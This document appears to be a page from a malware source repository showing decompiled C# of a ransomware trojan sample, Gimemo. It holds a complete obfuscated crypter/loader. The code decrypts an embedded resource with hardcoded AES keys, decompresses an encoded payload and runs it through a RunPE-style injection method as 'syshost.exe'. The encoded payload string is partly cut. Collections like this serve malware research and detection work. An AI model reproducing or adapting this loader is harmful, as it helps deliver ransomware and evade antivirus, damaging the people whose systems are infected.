MalwareSourceCode/MSIL/Trojan-Ransom/Win32/G/Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da/SysDriver/Driver.cs

96 lines
504 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: SysDriver.Driver
// Assembly: crypted, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 316F25AB-9DC5-41B1-B1CB-0BB9D97AEA6A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da.exe
using SevenZip.Compression.LZMA;
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
namespace SysDriver
{
internal class Driver
{
private static void Main(string[] args)
{
Assembly Qg34ZxHj9k6A = Assembly.Load(Driver.Zi26PdQw3y5C8BkWa4(Driver.Cz8k6E9Ksp7JPx4f3T2YeRo("temp.resource"), "n7L4EeAi9x8HRk2m3SK", "Cq85Gab9ZDo27KyYm46W", "SHA1", 2, "Fi82MrGb94Kej7P6", 128));
string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\syshost.exe";
byte[] numArray = SevenZipHelper.Decompress(Driver.Zi26PdQw3y5C8BkWa4("0/NXU3n8Yj/J5LQNkrqshzJoWBj2sG8n0Yz9UYMHVSEAoJCsYJS0CKtLFs0Qo4VTOVQV5bE0Mn+HonmcWU0kgP+47RUhaty8HaqORgE4grPvDPWZK3lATRxLnLgwkV/tukGt/i9JQrPtdgkUzh7fUV0xOepG7jk3F9xsEE/dfdDC8l1Sp0IdEwTZesHBG9VHGqrczT1XozyOyfechaYQ+OoOdf5FoBcvfN9aCFdUQqZsQOWIyqOXFp7U3ZmH3jjvcD78antShu2vt8EQJEN8IRsnHhsj13x+sCN6woL2SHq5MQ61ivQz3bT+WgLvb3gZKMPr47GiYejKPAQHICX+eKniSNNE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D7GzoyP///+hHAwAAicONRaSJBCToQgMAAIPsBIXbdG8PthOA+gkPhKcAAACA+iAPhJ4AAACA+iJ0OYD6CYnQdEaA+iAPhJUAAACE0o12AHUQ6zw8IA+EhAAAAITAZpB0LoPDAQ+2AzwJdejrGmaQPCJ0Co
Driver.i5P4RpZk3o8Y2("RPEMETHOD", "Run", Qg34ZxHj9k6A, new object[2]
{
(object) numArray,
(object) path
});
}
private static string Cz8k6E9Ksp7JPx4f3T2YeRo(string c4H9Nng6M3Gpx) => new StreamReader(Assembly.GetExecutingAssembly().GetManifestResourceStream("temp.resource")).ReadToEnd();
private static bool i5P4RpZk3o8Y2(
string No8p6FSg43Qzy7W9JjCx2n5AM,
string Ec8d7KPw94NsCo56HqSb3p2MTy83,
Assembly Qg34ZxHj9k6A,
object[] Ge23YfFi7g9MBa4d6S)
{
try
{
Type type = Qg34ZxHj9k6A.GetType(No8p6FSg43Qzy7W9JjCx2n5AM);
if ((object) type != null)
{
MethodInfo method = type.GetMethod(Ec8d7KPw94NsCo56HqSb3p2MTy83);
if ((object) method != null)
return (bool) method.Invoke((object) null, Ge23YfFi7g9MBa4d6S);
}
}
catch
{
return false;
}
return false;
}
public static byte[] Zi26PdQw3y5C8BkWa4(
string Cz8k6E9Ksp7JPx4f3T2YeRo,
string Ps97ZcYt82Rdm4N6TgXo,
string e6N5Rfb4Q8Pqw3EK,
string i5P4RpZk3o8Y2,
int c4H9Nng6M3Gpx,
string Gf98Wrb4R7Qyd3Z6Kqg2LCp53T,
int Ds56Zrz4FBb92YxWm3)
{
try
{
byte[] bytes1 = Encoding.ASCII.GetBytes(Gf98Wrb4R7Qyd3Z6Kqg2LCp53T);
byte[] bytes2 = Encoding.ASCII.GetBytes(e6N5Rfb4Q8Pqw3EK);
byte[] buffer = Convert.FromBase64String(Cz8k6E9Ksp7JPx4f3T2YeRo);
byte[] bytes3 = new PasswordDeriveBytes(Ps97ZcYt82Rdm4N6TgXo, bytes2, i5P4RpZk3o8Y2, c4H9Nng6M3Gpx).GetBytes(Ds56Zrz4FBb92YxWm3 / 8);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Mode = CipherMode.CBC;
byte[] numArray = new byte[buffer.Length];
int count = 0;
using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1))
{
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
{
count = cryptoStream.Read(numArray, 0, numArray.Length);
memoryStream.Close();
cryptoStream.Close();
}
}
}
return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count));
}
catch
{
return (byte[]) null;
}
}
}
}